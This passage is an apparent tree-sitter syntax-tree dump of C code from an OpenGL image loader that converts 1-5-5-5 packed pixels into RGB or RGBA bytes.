"j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "2" (]) "]" (=) "=" (subscript_expression) "pixel[0]" (identifier) "pixel" ([) "[" (number_literal) "0" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+3] = pixel[3];" (assignment_expression) "pixels[(j*w+i)*components+3] = pixel[3]" (subscript_expression) "pixels[(j*w+i)*components+3]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+3" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "3" (]) "]" (=) "=" (subscript_expression) "pixel[3]" (identifier) "pixel" ([) "[" (number_literal) "3" (]) "]" (;) ";" (}) "}" (}) "}" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;" (case) "case" (identifier) "GL_UNSIGNED_SHORT_1_5_5_5_REV" (:) ":" (expression_statement) "assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);" (call_expression) "assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV)" (identifier) "assert" (argument_list) "(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV)" (() "(" (binary_expression) "image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV" (field_expression) "image->type" (identifier) "image" (->) "->" (field_identifier) "type" (==) "==" (identifier) "GL_UNSIGNED_SHORT_1_5_5_5_REV" ()) ")" (;) ";" (if_statement) "if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }" (if) "if" (parenthesized_expression) "(image->components == 4)" (() "(" (binary_expression) "image->components == 4" (field_expression) "image->components" (identifier) "image" (->) "->" (field_identifier) "components" (==) "==" (number_literal) "4" ()) ")" (compound_statement) "{\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n }" ({) "{" (expression_statement) "image->format = GL_RGBA;" (assignment_expression) "image->format = GL_RGBA" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (=) "=" (identifier) "GL_RGBA" (;) ";" (expression_statement) "spixels = (GLubyte*) image->pixels;" (assignment_expression) "spixels = (GLubyte*) image->pixels" (identifier) "spixels" (=) "=" (cast_expression) "(GLubyte*) image->pixels" (() "(" (type_descriptor) "GLubyte*" (type_identifier) "GLubyte" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (expression_statement) "image->pixels = (GLubyte*) malloc(w * h * 4);" (assignment_expression) "image->pixels = (GLubyte*) malloc(w * h * 4)" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (=) "=" (cast_expression) "(GLubyte*) malloc(w * h * 4)" (() "(" (type_descriptor) "GLubyte*" (type_identifier) "GLubyte" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "malloc(w * h * 4)" (identifier) "malloc" (argument_list) "(w * h * 4)" (() "(" (binary_expression) "w * h * 4" (binary_expression) "w * h" (identifier) "w" (*) "*" (identifier) "h" (*) "*" (number_literal) "4" ()) ")" (;) ";" (expression_statement) "pixels = image->pixels;" (assignment_expression) "pixels = image->pixels" (identifier) "pixels" (=) "=" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (for_statement) "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }" (for) "for" (() "(" (assignment_expression) "j=0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "j<h" (identifier) "j" (<) "<" (identifier) "h" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }" ({) "{" (for_statement) "for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }" (for) "for" (() "(" (assignment_expression) "i=0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i<w" (identifier) "i" (<) "<" (identifier) "w" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }" ({) "{" (declaration) "GLubyte red, green, blue;" (type_identifier) "GLubyte" (identifier) "red" (,) "," (identifier) "green" (,) "," (identifier) "blue" (;) ";" (expression_statement) "spixel[0] = spixels[(j*w+i)*2+0];" (assignment_expression) "spixel[0] = spixels[(j*w+i)*2+0]" (subscript_expression) "spixel[0]" (identifier) "spixel" ([) "[" (number_literal) "0" (]) "]" (=) "=" (subscript_expression) "spixels[(j*w+i)*2+0]" (identifier) "spixels" ([) "[" (binary_expression) "(j*w+i)*2+0" (binary_expression) "(j*w+i)*2" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "2" (+) "+" (number_literal) "0" (]) "]" (;) ";" (expression_statement) "spixel[1] = spixels[(j*w+i)*2+1];" (assignment_expression) "spixel[1] = spixels[(j*w+i)*2+1]" (subscript_expression) "spixel[1]" (identifier) "spixel" ([) "[" (number_literal) "1" (]) "]" (=) "=" (subscript_expression) "spixels[(j*w+i)*2+1]" (identifier) "spixels" ([) "[" (binary_expression) "(j*w+i)*2+1" (binary_expression) "(j*w+i)*2" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "2" (+) "+" (number_literal) "1" (]) "]" (;) ";" (expression_statement) "red = (spixel[1] & 0x7c) >> 2;" (assignment_expression) "red = (spixel[1] & 0x7c) >> 2" (identifier) "red" (=) "=" (binary_expression) "(spixel[1] & 0x7c) >> 2" (parenthesized_expression) "(spixel[1] & 0x7c)" (() "(" (binary_expression) "spixel[1] & 0x7c" (subscript_expression) "spixel[1]" (identifier) "spixel" ([) "[" (number_literal) "1" (]) "]" (&) "&" (number_literal) "0x7c" ()) ")" (>>) ">>" (number_literal) "2" (;) ";" (expression_statement) "red = (red << 3) | ((red & 0x1) * 0x7);" (assignment_expression) "red = (red << 3) | ((red & 0x1) * 0x7)" (identifier) "red" (=) "=" (binary_expression) "(red << 3) | ((red & 0x1) * 0x7)" (parenthesized_expression) "(red << 3)" (() "(" (binary_expression) "red << 3" (identifier) "red" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((red & 0x1) * 0x7)" (() "(" (binary_expression) "(red & 0x1) * 0x7" (parenthesized_expression) "(red & 0x1)" (() "(" (binary_expression) "red & 0x1" (identifier) "red" (&) "&" (number_literal) "0x1" ()) ")" (*) "*" (number_literal) "0x7" ()) ")" (;) ";" (expression_statement) "green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);" (assignment_expression) "green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)" (identifier) "green" (=) "=" (binary_expression) "((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)" (parenthesized_expression) "((spixel[1] & 0x03) << 3)" (() "(" (binary_expression) "(spixel[1] & 0x03) << 3" (parenthesized_expression) "(spixel[1] & 0x03)" (() "(" (binary_expression) "spixel[1] & 0x03" (subscript_expression) "spixel[1]" (identifier) "spixel" ([) "[" (number_literal) "1" (]) "]" (&) "&" (number_literal) "0x03" ()) ")" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((spixel[0] & 0xe0) >> 5)" (() "(" (binary_expression) "(spixel[0] & 0xe0) >> 5" (parenthesized_expression) "(spixel[0] & 0xe0)" (() "(" (binary_expression) "spixel[0] & 0xe0" (subscript_expression) "spixel[0]" (identifier) "spixel" ([) "[" (number_literal) "0" (]) "]" (&) "&" (number_literal) "0xe0" ()) ")" (>>) ">>" (number_literal) "5" ()) ")" (;) ";" (expression_statement) "green = (green << 3) | ((green & 0x1) * 0x7);" (assignment_expression) "green = (green << 3) | ((green & 0x1) * 0x7)" (identifier) "green" (=) "=" (binary_expression) "(green << 3) | ((green & 0x1) * 0x7)" (parenthesized_expression) "(green << 3)" (() "(" (binary_expression) "green << 3" (identifier) "green" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((green & 0x1) * 0x7)" (() "(" (binary_expression) "(green & 0x1) * 0x7" (parenthesized_expression) "(green & 0x1)" (() "(" (binary_expression) "green & 0x1" (identifier) "green" (&) "&" (number_literal) "0x1" ()) ")" (*) "*" (number_literal) "0x7" ()) ")" (;) ";" (expression_statement) "blue = (spixel[0] & 0x1f) >> 0;" (assignment_expression) "blue = (spixel[0] & 0x1f) >> 0" (identifier) "blue" (=) "=" (binary_expression) "(spixel[0] & 0x1f) >> 0" (parenthesized_expression) "(spixel[0] & 0x1f)" (() "(" (binary_expression) "spixel[0] & 0x1f" (subscript_expression) "spixel[0]" (identifier) "spixel" ([) "[" (number_literal) "0" (]) "]" (&) "&" (number_literal) "0x1f" ()) ")" (>>) ">>" (number_literal) "0" (;) ";" (expression_statement) "blue = (blue << 3) | ((blue & 0x1) * 0x7);" (assignment_expression) "blue = (blue << 3) | ((blue & 0x1) * 0x7)" (identifier) "blue" (=) "=" (binary_expression) "(blue << 3) | ((blue & 0x1) * 0x7)" (parenthesized_expression) "(blue << 3)" (() "(" (binary_expression) "blue << 3" (identifier) "blue" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((blue & 0x1) * 0x7)" (() "(" (binary_expression) "(blue & 0x1) * 0x7" (parenthesized_expression) "(blue & 0x1)" (() "(" (binary_expression) "blue & 0x1" (identifier) "blue" (&) "&" (number_literal) "0x1" ()) ")" (*) "*" (number_literal) "0x7" ()) ")" (;) ";" (expression_statement) "pixels[(j*w+i)*components+0] = red;" (assignment_expression) "pixels[(j*w+i)*components+0] = red" (subscript_expression) "pixels[(j*w+i)*components+0]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+0" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "0" (]) "]" (=) "=" (identifier) "red" (;) ";" (expression_statement) "pixels[(j*w+i)*components+1] = green;" (assignment_expression) "pixels[(j*w+i)*components+1] = green" (subscript_expression) "pixels[(j*w+i)*components+1]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+1" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "1" (]) "]" (=) "=" (identifier) "green" (;) ";" (expression_statement) "pixels[(j*w+i)*components+2] = blue;" (assignment_expression) "pixels[(j*w+i)*components+2] = blue" (subscript_expression) "pixels[(j*w+i)*components+2]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+2" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "2" (]) "]" (=) "=" (identifier) "blue" (;) ";" (expression_statement) "pixels[(j*w+i)*components+3] = 0xff;" (assignment_expression) "pixels[(j*w+i)*components+3] = 0xff" (subscript_expression) "pixels[(j*w+i)*components+3]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+3" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "3" (]) "]" (=) "=" (number_literal) "0xff" (;) ";" (}) "}" (}) "}" (}) "}" (else_clause) "else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }" (else) "else" (compound_statement) "{\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }" ({) "{" (expression_statement) "assert(image->components == 3);" (call_expression) "assert(image->components == 3)" (identifier) "assert" (argument_list) "(image->components == 3)" (() "(" (binary_expression) "image->components == 3" (field_expression) "image->components" (identifier) "image" (->) "->" (field_identifier) "components" (==) "==" (number_literal) "3" ()) ")" (;) ";" (expression_statement) "image->format = GL_RGB;" (assignment_expression) "image->format = GL_RGB" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (=) "=" (identifier) "GL_RGB" (;) ";" (expression_statement) "spixels = image->pixels;" (assignment_expression) "spixels = image->pixels" (identifier) "spixels" (=) "=" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (expression_statement) "image->pixels = (GLubyte*) malloc(w * h * 3);" (assignment_expression) "image->pixels = (GLubyte*) malloc(w * h * 3)" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (=) "=" (cast_expression) "(GLubyte*) malloc(w * h * 3)" (() "(" (type_descriptor) "GLubyte*" (type_identifier) "GLubyte" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "malloc(w * h * 3)" (identifier) "malloc" (argument_list) "(w * h * 3)" (() "(" (binary_expression) "w * h * 3" (binary_expression) "w * h" (identifier) "w" (*) "*" (identifier) "h" (*) "*" (number_literal) "3" ()) ")" (;) ";" (expression_statement) "pixels = image->pixels;" (assignment_expression) "pixels = image->pixels" (identifier) "pixels" (=) "=" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (for_statement) "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }" (for) "for" (() "(" (assignment_expression) "j=0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "j<h" (identifier) "j" (<) "<" (identifier) "h" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }" ({) "{" (for_statement) "for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }" (for) "for" (() "(" (assignment_expression) "i=0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i<w" (identifier) "i" (<) "<" (identifier) "w" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }" ({) "{" (declaration) "GLubyte red, green, blue;" (type_identifier) "GLubyte" (identifier) "red" (,) "," (identifier) "green" (,) "," (identifier) "blue" (;) ";" (expression_statement) "spixel[0] = spixels[(j*w+i)*2+0];" (assignment_expression) "spixel[0] = spixels[(j*w+i)*2+0]" (subscript_expression) "spixel[0]" (identifier) "spixel" ([) "[" (number_literal) "0" (]) "]" (=) "=" (subscript_expression) "spixels[(j*w+i)*2+0]" (identifier) "spixels" ([) "[" (binary_expression) "(j*w+i)*2+0" (binary_expression) "(j*w+i)*2" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "2" (+) "+" (number_literal) "0" (]) "]" (;) ";" (expression_statement) "spixel[1] = spixels[(j*w+i)*2+1];" (assignment_expression) "spixel[1] = spixels[(j*w+i)*2+1]" (subscript_expression) "spixel[1]" (identifier) "spixel" ([) "[" (number_literal) "1" (]) "]" (=) "=" (subscript_expression) "spixels[(j*w+i)*2+1]" (identifier) "spixels" ([) "[" (binary_expression) "(j*w+i)*2+1" (binary_expression) "(j*w+i)*2" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "2" (+) "+" (number_literal) "1" (]) "]" (;) ";" (expression_statement) "red = (spixel[1] & 0x7c) >> 2;" (assignment_expression) "red = (spixel[1] & 0x7c) >> 2" (identifier) "red" (=) "=" (binary_expression) "(spixel[1] & 0x7c) >> 2" (parenthesized_expression) "(spixel[1] & 0x7c)" (() "(" (binary_expression) "spixel[1] & 0x7c" (subscript_expression) "spixel[1]" (identifier) "spixel" ([) "[" (number_literal) "1" (]) "]" (&) "&" (number_literal) "0x7c" ()) ")" (>>) ">>" (number_literal) "2" (;) ";" (expression_statement) "red = (red << 3) | ((red & 0x1) * 0x7);" (assignment_expression) "red = (red << 3) | ((red & 0x1) * 0x7)" (identifier) "red" (=) "=" (binary_expression) "(red << 3) | ((red & 0x1) * 0x7)" (parenthesized_expression) "(red << 3)" (() "(" (binary_expression) "red << 3" (identifier) "red" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((red & 0x1) * 0x7)" (() "(" (binary_expression) "(red & 0x1) * 0x7" (parenthesized_expression) "(red & 0x1)" (() "(" (binary_expression) "red & 0x1" (identifier) "red" (&) "&" (number_literal) "0x1" ()) ")" (*) "*" (number_literal) "0x7" ()) ")" (;) ";" (expression_statement) "green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);" (assignment_expression) "green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)" (identifier) "green" (=) "=" (binary_expression) "((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)" (parenthesized_expression) "((spixel[1] & 0x03) << 3)" (() "(" (binary_expression) "(spixel[1] & 0x03) << 3" (parenthesized_expression) "(spixel[1] & 0x03)" (() "(" (binary_expression) "spixel[1] & 0x03" (subscript_expression) "spixel[1]" (identifier) "spixel" ([) "[" (number_literal) "1" (]) "]" (&) "&" (number_literal) "0x03" ()) ")" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((spixel[0] & 0xe0) >> 5)" (() "(" (binary_expression) "(spixel[0] & 0xe0) >> 5" (parenthesized_expression) "(spixel[0] & 0xe0)" (() "(" (binary_expression) "spixel[0] & 0xe0" (subscript_expression) "spixel[0]" (identifier) "spixel" ([) "[" (number_literal) "0" (]) "]" (&) "&" (number_literal) "0xe0" ()) ")" (>>) ">>" (number_literal) "5" ()) ")" (;) ";" (expression_statement) "green = (green << 3) | ((green & 0x1) * 0x7);" (assignment_expression) "green = (green << 3) | ((green & 0x1) * 0x7)" (identifier) "green" (=) "=" (binary_expression) "(green << 3) | ((green & 0x1) * 